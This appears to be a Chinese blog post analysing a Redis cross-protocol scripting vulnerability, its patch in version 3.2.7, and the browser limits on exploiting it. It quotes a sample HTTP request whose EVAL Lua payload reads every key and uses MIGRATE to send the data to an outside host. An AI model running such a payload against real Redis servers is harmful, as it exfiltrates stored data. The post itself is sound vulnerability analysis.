几天前,Redis 发布了 3.2.7 版本,修复了一个 Cross Protocol Scripting 漏洞。
漏洞描述
关于该漏洞的详细描述见:https://github.com/dxa4481/wh…
Redis 在解析命令的时候,会把每行文本当做输入。如果输入不能匹配上特定的命令,则丢弃输入。
这意味着,如果我们用 HTTP 协议请求 Redis,那么 Redis 会跳过不认识的各种报头,执行请求体中的命令。
举个例子,下面的 HTTP 请求中,只有最后的 EVAL 会被解析成合法的命令并执行。
POST / HTTP/1.1
Host: 127.0.0.1:6379
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://whatsinmyredis.com/
Content-Length: 339
Origin: http://whatsinmyredis.com
Connection: keep-alive
EVAL 'local token = "SiKKVzH$EZ"; local count = 0; for k, v in pairs(redis.call("KEYS", "*")) do count = count + 1; if v ~= "WIMREncryptionKey" and count < 100 then redis.call("SET", token, v .. ":" .. redis.call("GET", v)); redis.pcall("MIGRATE", "exfil.whatsinmyredis.com", "11111", token,0,200); end; end; redis.call("DEL", token)' 0
-ERR unknown command 'POST'
...
初看好像不算什么问题,毕竟攻击者都能直接请求 Redis 了,没必要用 HTTP 协议掩饰攻击行为。
不过漏洞的发掘者想得更加深入。在他的 POC 中,构造了一个 HTML 页面,利用 AJAX 去请求 6379 端口。
一般来说,Redis 是不会暴露在公网里的,但是有可能跟开发者的机器在同一个内网中。假设开发者的浏览器发起了 AJAX 请求,便能绕过外网的限制,直接访问内网的 Redis。即使 Redis 不在 localhost 上,通过扫描(或者社工出具体的服务器地址)也有可能嗅探到内网中的 Redis 实例。
漏洞修复
Redis 的修复见:https://github.com/antirez/re…
该补丁把 host 也当做有效的命令去解析。在解析出 host 命令后,Redis 会中断连接,于是攻击者的请求就被截断了。
后续分析
该漏洞依赖两点:
可以从浏览器发起特定的 HTTP 请求
可以从开发者的机器访问到 Redis 服务器
以下讨论均以开发者使用的浏览器较为安全为前提。
先分析 Redis 该补丁的工作原理:
作为 HTTP/1.1 规范,请求报头中应该有 Host 报头。如果没有,服务器会返回 400 错误码。
这意味着,浏览器自己发送的 AJAX 请求中必然会带上 Host 报头。
也许有人会想到,可以尝试用 setRequestHeader
去自定义请求报头。
浏览器也想到了这一点。如果用了 setRequestHeader
,浏览器会先发送一个 OPTIONS
请求,附上 Access-Control-Request-Headers
报头,待目标服务器明断。
只有服务器许可之后,才会进一步发送定制的 AJAX 请求。
在我们这个场景里,茫然无知的 Redis 自然什么都不会回复。
总而言之,没有什么办法,可以发送不带 Host 报头的 AJAX 请求。意味着只要 Host 被拉黑,所有的 AJAX 请求也被拉黑了。
对于没打该补丁的版本,该漏洞会有多大的影响?
漏洞依赖的第二点(可以从开发者的机器访问到 Redis 服务器),一般情况下难以满足。毕竟大多数时候,办公区网络和机房网络不在同一个网段里,而且还是互相隔离的。如果不是定点攻击,很难击中目标服务器。
漏洞依赖的第一点(可以从浏览器发起特定的 HTTP 请求),在很大程度上受浏览器的限制。对于那些想利用 AJAX 的攻击者,浏览器可是见得多了。不要忘记还有一个叫同源策略的东西。即使骇客可以去请求特定的 Redis 服务器,受同源策略的影响,浏览器也不会返回响应的结果。意味着,攻击者可以向 Redis 发送命令,但是他们无法知道攻击是否成功。无法评估攻击的效果,通常会令漏洞的价值大打折扣。
当然如果能结合同源策略绕过,确实可以拿到具体的响应。但是这么一来利用空间就更窄了。
话虽如此,我也不敢百分百打包票,声称该漏洞毫无意义。有句老话:
Attacks always get better… and we did not spent enough time in order to think how to exploit this issue,
but security researchers or malicious attackers could.
处在明处的防御者,还是尽可能小心谨慎为佳。
目前浏览器发展有一个趋势,就是能干的事情越来越多。再过不久,除了 HTTP 请求,浏览器还可以发起更底层的 TCP/UDP 请求。就安全方面来讲,意味着基于浏览器的攻击面会更加广。希望制定标准和开发浏览器的人尽量审慎一些。